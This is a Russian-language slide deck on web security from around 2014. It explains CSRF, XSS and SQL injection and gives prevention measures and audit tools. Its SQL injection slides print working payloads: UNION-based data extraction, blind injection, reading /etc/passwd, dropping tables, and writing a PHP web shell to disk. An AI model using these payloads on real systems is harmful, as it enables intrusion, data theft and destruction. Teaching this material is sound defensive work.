4. Реальность от WHID (март 2014)
Атака От общего числа, %
XSS 7
SQL Injection 18
CSRF 2
Denial of Service 20
Brute Force 4
https://www.google.com/fusiontables/data?docid=1Uk2Fs373gG-yV4LbQsvoRQg7K_2gpLs5ZydpxA
6. Cross-Site Request Forgery
(WASC-09)
Атака, при которой жертва без согласия
выполняет от своего имени запрос.
Другими словами, атакующий может
управлять некоторыми действиями жертвы в
свою пользу.
7. Cross-Site Request Forgery
Атака
● на сайте есть действие «подарить подарок»
● действие выполняется ajax-запросом при клике по
ссылке, параметр — id получателя
● но на самом деле достаточно обычного GET-запроса
● жертве подбрасывается ссылка
- напрямую: в мессенджере, в блоге, по почте, …
- укороченная — скрыть payload
- на сайте атакующего: картинка или
подготовленная форма
8. Cross-Site Request Forgery
Атака, простейшие варианты
GET http://goo.gl/d0LUAg
<img src="[GET request]">
<form action="[url]" method="post">...</form>
<script>form.submit()</script>
12. Cross-Site Request Forgery
Аудит
● w3af [http://w3af.org/plugins/audit/csrf] — только
схема с куками.
● Arachni [http://www.arachni-scanner.com/] — 4-
этапная проверка, умеет отличать формы,
которые отображаются только для залогиненных
юзеров, проверяет куки и токены.
● Руками и глазами.
13. Cross-Site Request Forgery
Logout
CSRF на logout? R U serious? Ahahaha!
Oh, wait…
http://superlogout.com/
Я знаю как минимум один сайт, для которого
это — реальная проблема: odnoklassniki.ru :)
15. Cross-Site Scripting
(WASC-08)
Атака, при которой атакующий через уязвимость
заставляет выполняться свой код в браузере
жертвы.
Браузер может быть встроен в ПО и иметь доступ
к его компонентам.
Обычно код — JS, но также возможно выполнение
VBScript, ActiveX, Java, Flash и других
поддерживаемых браузером технологий.
16. Cross-Site Scripting
Угроза
● фишинг
● кража сессии (если куки не httponly)
● кража пользовательских данных жертвы со
страниц
● выполнение нежелательных действий от
имени жертвы (обход CSRF-защиты)
17. Cross-Site Scripting
Типы
● TYPE 1 — отражённая (non-persistent,
reflected)
● TYPE 2 — хранимая (persistent, stored)
● TYPE 0 — DOM-based
18. Cross-Site Scripting
TYPE 1, отражённая
● формируется запрос с пользовательскими
данными userdata
● в ответе данные userdata встраиваются в HTML
без надлежащей фильтрации
Чаще всего это
● заполнение полей формы в случае ошибки
● вывод поискового текста в форме поиска
19. Cross-Site Scripting
TYPE 1, отражённая
<div id="pager">
<a href="{{url}}">{{pageNum}}</a>
</div>
GET /search.php?a=A"><script>alert("xss")</script>
<div id="pager">
<a href="/search.php?a=A">
<script>alert("xss")</script>&p=42">42
</a>
</div>
20. Cross-Site Scripting
TYPE 1, отражённая
<div id="pager">
<a href="{{url}}">{{pageNum}}</a>
</div>
GET /search.php?a=A"><script>alert("xss")</script>
<div id="pager">
<a href="/search.php?a=A">
<script>alert("xss")</script>&p=42">42
</a>
</div>
21. Cross-Site Scripting
TYPE 1, отражённая
<div id="pager">
<a href="{{url}}">{{pageNum}}</a>
</div>
GET /search.php?a=A"><script>alert("xss")</script>
<div id="pager">
<a href="/search.php?a=A">
<script>alert("xss")</script>&p=42">42
</a>
</div>
22. Cross-Site Scripting
TYPE 2, хранимая
● пользовательские данные сохраняются в БД
без надлежащей фильтрации
● в дальнейшем эти данные выводятся на
HTML страницу из БД без надлежащей
фильтрации
25. Cross-Site Scripting
TYPE 3, DOM-based
Атака полностью реализуется на клиенте без
участия сервера
● пользователь вводит данные в URL или на
страницу (формы)
● эти данные используются клиентом (JS
приложением) для построения HTML страницы
без надлежащей фильтрации
26. Cross-Site Scripting
TYPE 3, DOM-based
var pos=document.URL.indexOf("name=")+5;
var r=document.URL.substring(pos,document.URL.length)
document.write('<b>Hello, '+r+'!</b>');
GET /domxss/?#name=<img src=x onerror=alert("xss")>
Hello, <img src=x onerror=alert("xss")>!
27. Cross-Site Scripting
TYPE 3, DOM-based
var pos=document.URL.indexOf("name=")+5;
var r=document.URL.substring(pos,document.URL.length)
document.write('<b>Hello, '+r+'!</b>');
GET /domxss/?#name=<img src=x onerror=alert("xss")>
Hello, <img src=x onerror=alert("xss")>!
28. Cross-Site Scripting
TYPE 3, DOM-based
var pos=document.URL.indexOf("name=")+5;
var r=document.URL.substring(pos,document.URL.length)
document.write('Hello, '+r+'!');
GET /domxss/?#name=<img src=x onerror=alert("xss")>
Hello, <img src=x onerror=alert("xss")>!
29. Cross-Site Scripting
Меры предотвращения
Правила OWASP
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
ESAPI (The OWASP Enterprise Security API)
https://code.google.com/p/owasp-esapi-java/
https://code.google.com/p/owasp-esapi-php/
https://code.google.com/p/owasp-esapi-python/
httponly куки
CSP (Content Security Policy)
30. Cross-Site Scripting
CSP
CSP — Content Security Policy [Google, Mozilla]
http://w3c.github.io/webappsec/specs/content-security-policy/csp-specification.dev.html
Кто уже поддерживает?
http://caniuse.com/#feat=contentsecuritypolicy
Кто уже использует? (из alexa top-25)
- mail.yandex.ru, e.mail.ru, facebook.com
34. SQL Injection
(WASC-19)
Атака на ПО, использующее входные данные
для построения SQL-запросов,
при которой атакующий изменяет логику
выполнения SQL-запроса к БД.
В некоторых случаях атака способна привести
к выполнению команд ОС и захвату системы.
35. SQL Injection
Простейший пример
$q = "SELECT * FROM table WHERE id={$_GET['id']}";
query($q);
GET http://site.com/query.php?id=1 OR 1=1
// SELECT * FROM table WHERE id=1 OR 1=1
// Хуже только query($_GET['q'])
36. SQL Injection
Простейший пример
$q = "SELECT * FROM table WHERE id={$_GET['id']}";
query($q);
GET http://site.com/query.php?id=1 OR 1=1
// SELECT * FROM table WHERE id=1 OR 1=1
// Хуже только query($_GET['q'])
37. SQL Injection
Схема атаки
● поиск точки, использующей
пользовательские данные в SQL-запросе
● выполнение фингерпринтинга СУБД
● поиск уязвимости, позволяющей выполнить
атаку
● эксплуатация уязвимости
38. SQL Injection
Фингерпринтинг СУБД
● сообщения об ошибках на страницах
● баннер (version(), @@version)
- SELECT version() --> 5.6.12-56
● диалект SQL
- MySQL: WHERE id = 1 /*!50067 AND 47=47 */
- PostgreSQL: AND 82::int=82
● поведение некоторых функций
● вакансии или собеседование :)
40. SQL Injection
Примеры: UNION (full flaw)
SELECT a, b, c FROM table WHERE id={$id}
query.php?id=1 and 1=1 -- OK
query.php?id=1 and 1=2 -- error
41. SQL Injection
Примеры: UNION (full flaw)
SELECT a, b, c FROM table WHERE id={$id}
query.php?id=1 order by 1 -- OK
query.php?id=1 order by 2 -- OK
query.php?id=1 order by 3 -- OK
query.php?id=1 order by 4 -- error!
42. SQL Injection
Примеры: UNION (full flaw)
SELECT a, b, c FROM table WHERE id={$id}
query.php?id=1
Name: Maksim [ksimka]
Age: 28
query.php?id=-1 union all select 1, 2, 3
Name: 1 [2]
Age: 3
43. SQL Injection
Примеры: UNION (full flaw)
SELECT a, b, c FROM table WHERE id={$id}
query.php?id=1
Name: Maksim [ksimka]
Age: 28
query.php?id=-1 union all select 1, 2, 3
Name: 1 [2]
Age: 3
44. SQL Injection
Примеры: UNION (full flaw)
SELECT a, b, c FROM table WHERE id={$id}
query.php?id=-1 union all select version(), user(), database()
Name: 5.0.0-42 [root@localhost]
Age: Main
45. SQL Injection
Примеры: UNION (full flaw)
SELECT a FROM table WHERE id={$id}
query.php?id=-1 union all select
concat(version(),char(58),user(),char(58),database())
Name: 5.0.0-42:root@localhost:Main
46. SQL Injection
Примеры: UNION (full flaw)
SELECT a FROM table WHERE id={$id}
query.php?id=-1 union all select
load_file('/etc/passwd')
query.php?id=-1
union all select '<?php system($_GET["cmd"]); ?>'
into outfile '/www/cmd.php'
47. SQL Injection
Примеры: batched queries
SELECT a FROM table WHERE id={$id}
query.php?id=1;drop table ...
query.php?id=1;drop user ...
query.php?id=1;create user ...
query.php?id=1;grant all privileges on ...
query.php?id=1;select ... into outfile ...
48. SQL Injection
Примеры: boolean-based blind
SELECT a FROM table WHERE id={$id}
query.php?id=1 and ord(mid((select schema_name from
information_schema.schemata limit 1 offset D), N, 1)) > A
D — номер БД в таблице schemata
N — номер очередного символа
A — ASCII-код символа
select schema_name from information_schema.schemata — имя БД
mid(dbname, N, 1) — один символ имени
ord(char) — ASCII-код, удобнее сравнивать
49. SQL Injection
Примеры: time-based blind (double blind)
SELECT a FROM table WHERE id={$id}
query.php?id=1 or if(ord(mid((select schema_name from
information_schema.schemata limit 1 offset D), N, 1)) > A,
sleep(S), true)
S — в зависимости от нормального времени отклика сайта
Основа — как в boolean-based blind
if (bingo, sleep(S), true) — если bingo, то +S секунд
к отклику
50. SQL Injection
Защита и превентивные меры
● связывание параметров (prepared statements,
биндинг, параметризованные запросы) с
экранированием значений
- SELECT * FROM table WHERE columna=? AND columnb=?
● файрволлы (детекция попыток фингерпринтинга и
эксплуатаций) — NAXSI, ModSecurity
● разграничение прав доступа
- user: SELECT, INSERT, UPDATE, …
- superuser: CREATE, DROP, ALTER, …
● валидация и фильтрация всего :)
51. SQL Injection
Аудит
sqlmap [http://sqlmap.org/] — умеет всё.
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, …
Знает массу техник исследования и эксплуатации.
Да, умеет полноценно эксплуатировать вплоть до
сливания полного дампа БД.
Вряд ли вам понадобится другой инструмент.
52. Зачем нам всё это знать?
Чтобы понимать: одна маленькая ошибка может
стоить бесконечно дорого.
Чтобы понимать, откуда ВНЕЗАПНО может прийти
беда.
Чтобы уметь разрабатывать инструменты
противодействия.
Чтобы уметь пользоваться инструментами и писать
безопасный код.
Ну и просто потому что это круто :)
54. Bug bounty программы
Когда у тебя огромная кодовая база, изменяющаяся с
дикой скоростью, невозможно уследить за всем.
Bug bounty программа хорошо конвертирует blackhats в
whitehats.
Список таких программ
https://bugcrowd.com/list-of-bug-bounty-programs/
Вознаграждения — от маечки до $20000 и больше
(например, у Facebook нет верхней границы)
58. Атаки на браузеры
http://html5sec.org/
Теперь не только <script> и <img onerror/>
Сотни способов выполнить js-код на клиенте, используя баги
или особенности работы с HTML в некоторых браузерах.
59. Атаки на браузеры
cookie-bomb (by @homakov)
http://homakov.blogspot.ru/2014/01/cookie-bomb-or-lets-break-internet.html
RFC2109: A Set-Cookie from request-host x.foo.com for
Domain=.foo.com would be accepted.
Если я могу выполнять код на x.foo.com, я могу ставить
куки на .foo.com.
1 кука = 4кБ, а мы можем поставить сотни кук.
400кБ+ заголовков — веб-сервер просто не отвечает.
Итого: DoS сервиса (не всего, для юзера) куками
61. Социальная инженерия
Chunkhost и Sendgrid (март 2014)
https://chunkhost.com/blog/15/huge_security_hole_in_sendgrid
Как в старые добрые времена
● хакер покупает домен chunkhost.info
● звонит в поддержку sendgrid и просит сменить мыло
support@chunkhost.com
● на support@chunkhost.info, поддержка говорит ОК (wtf?)
● хакер включает в sendgrid фичу BCC, инициирует сброс паролей
пары акков на chunkhost, получает копию писем со ссылкой для
сброса
● аккаунты и слив репутации chunkhost спасает только
двухфакторная аутентификация на этих акках
62. Социальная инженерия
CSS-Tricks и Media Temple (март 2014)
http://shoptalkshow.com/episodes/special-one-one-hacker/
Как в еще более старые добрые времена
● хакер звонит в поддержку MT и просит поменять email от акка
Криса, потому что, якобы, не помнит его
● поддержка говорит «ок, только пришлите скан своих документов»
● хакер подделывает документы и получает акк (sic!)
● кроме этого захватывает пачку других сайтов
● чувак говорит, что мог бы захватить jquery.com (тоже хостится на
MT) и заразить исходники, которые используются на тысячах
сайтов
● еще чувак говорит, что ничего не понимает в этих ваших sql-
инъекциях и прочей ерунде, но ему это и не нужно :)